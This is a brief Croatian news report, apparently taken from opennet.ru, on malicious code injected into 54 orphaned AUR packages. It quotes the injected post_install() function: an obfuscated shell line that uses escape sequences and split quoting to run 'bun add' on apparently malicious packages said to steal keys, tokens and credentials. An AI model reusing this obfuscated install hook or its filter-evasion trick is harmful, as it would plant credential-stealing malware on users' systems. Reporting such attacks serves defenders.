Unatoč mjerama koje su poduzeli programeri Arch Linux, aktivnosti ubacivanja zlonamjernog koda u repozitorije AUR (Arch User Repository) nisu zaustavljene. Prije nekoliko sati zlonamjerni kod je ubacen u još 54 paketa, koji su ostali bez pratnje (povijest opoziva zlonamjernih izmjena). Za razliku od napada od prije dva dana, umjesto paketnog menadžera npm, ovoga puta korištena je platforma bun za instalaciju zlonamjernih ovisnosti. Za zaobilaženje implementiranih filtara u funkciju post_install ubacuje se obfuskirani niz koji poziva naredbu “bun add” za instalaciju paketa sa zlonamjernim kodom koji skenira i šalje podatke vanjskom. server ključeva, tokena i vjerodajnica.
post_install() {
$’\x63′»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d»‘d’ $’\141\x6e»s'»i»»-«$’\143»o»l»o»r’$’\x73′ ‘n'»e»‘x'»t»»f»‘i»l»e»-»j»s’
}
Izvor: opennet.ru
